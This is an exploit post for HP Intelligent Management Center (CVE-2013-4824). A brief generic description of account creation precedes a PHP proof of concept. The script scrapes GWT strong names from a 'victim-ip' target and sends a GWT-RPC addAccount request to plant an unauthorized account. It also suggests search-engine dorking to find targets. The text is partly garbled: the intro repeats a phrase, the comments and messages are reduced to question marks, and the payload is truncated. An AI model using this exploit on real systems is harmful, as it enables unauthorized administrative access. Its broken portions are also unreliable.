HP Intelligent Management 5.1 E0201 Account Creation

HP Intelligent Management 5.1 E0201 facilitates secure user access to HP Intelligent Management 5.1 E0201 facilitates secure user access to its centralized IT infrastructure management platform. Account creation typically involves navigating to the 'Users and Roles' or 'Security' section within the web-based management console.

Administrators initiate 'New User' creation, providing essential details like username, password, and contact information. A critical step is assigning appropriate roles and permissions (e.g., Administrator, Operator, Read-Only) to define the user's scope of control over managed devices and services.

The system supports both local user accounts and integration with external directories like LDAP or Active Directory for centralized authentication. This process ensures granular access control, maintaining security and operational integrity across the managed environment.

=============================================================================================================================================
| # Title : HP Intelligent Management 5.1 E0201 Create a new account Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://buy.hpe.com/my/en/software/networking-software/intelligent-management-software/c/1009931441?selector=48 |
=============================================================================================================================================

POC :

[+] Dorking ?n Google Or Other Search Enggine.

[+] Code Description: Create a new account in HP Intelligent Management Center .

(Related : https://packetstorm.news/files/id/180902/ Linked CVE numbers: CVE-2013-4824 ) .

[+] save code as poc.php.

[+] Set taget : Line 19.

[+] USage : php poc.php

[+] PayLoad :


<?php

function sendRequest($url, $data, $headers = [])
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$response = curl_exec($ch);
curl_close($ch);

return $response;
}

$target = "http://victim-ip:8080"; // ???? ????? ?????
$username = "msf";
$password = "p4ssw0rd";

// ?????? 1: ?????? ??? strong name ??????
$response = sendRequest("$target/servicedesk/servicedesk/servicedesk.nocache.js", "", ["User-Agent: Mozilla/5.0"]);
preg_match("/unflattenKeylistIntoAnswers\(\['default', 'safari'\], '([0-9A-Fa-f]+)'\);/", $response, $matches);
$serviceDesk = $matches[1] ?? null;

if (!$serviceDesk) {
die("??? ?? ?????? ??? service desk strong name\n");
}

echo "Service Desk Strong Name: $serviceDesk\n";

// ?????? 2: ?????? ??? strong name ????? ????????
$response = sendRequest("$target/servicedesk/servicedesk/{$serviceDesk}.cache.html", "", ["User-Agent: Mozilla/5.0"]);
preg_match("/'accountSerivce.gwtsvc', '([0-9A-Fa-f]+)', SERIALIZER_1/", $response, $matches);
$accountService = $matches[1] ?? null;

if (!$accountService) {
die("??? ?? ?????? ??? AccountService strong name\n");
}

echo "AccountService Strong Name: $accountService\n";

// ?????? 3: ????? ????? ?????? ??????
$payload = "6|0|39|http://localhost:8080/servicedesk/servicedesk/|$accountService|com.h3c.imc.eu.client.account.AccountService|addAccount|...";
$data = [
'method' => 'POST',
'uri' => '/servicedesk/servicedesk/accountSerivce.gwtsvc',
'ctype' => 'text/x-gwt-rpc; charset=UTF-8',
'headers' => [
"X-GWT-Module-Base: $target/servicedesk/servicedesk/",
"X-GWT-Permutation: $serviceDesk"
],
'data' => $payload
];

$response = sendRequest("$target/servicedesk/servicedesk/accountSerivce.gwtsvc", $payload, [
"Content-Type: text/x-gwt-rpc; charset=UTF-8",
"X-GWT-Module-Base: $target/servicedesk/servicedesk/",
"X-GWT-Permutation: $serviceDesk"
]);

if (strpos($response, "already exists") !== false) {
echo "???????? $username ????? ??????.\n";
} elseif (strpos($response, "added successfully") !== false) {
echo "?? ????? ?????? ?????: $username / $password\n";
echo "?? ?????? ?????? ??: $target/servicedesk/ServiceDesk.jsp\n";
} else {
echo "??? ?? ????? ??????.\n";
}

?>


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================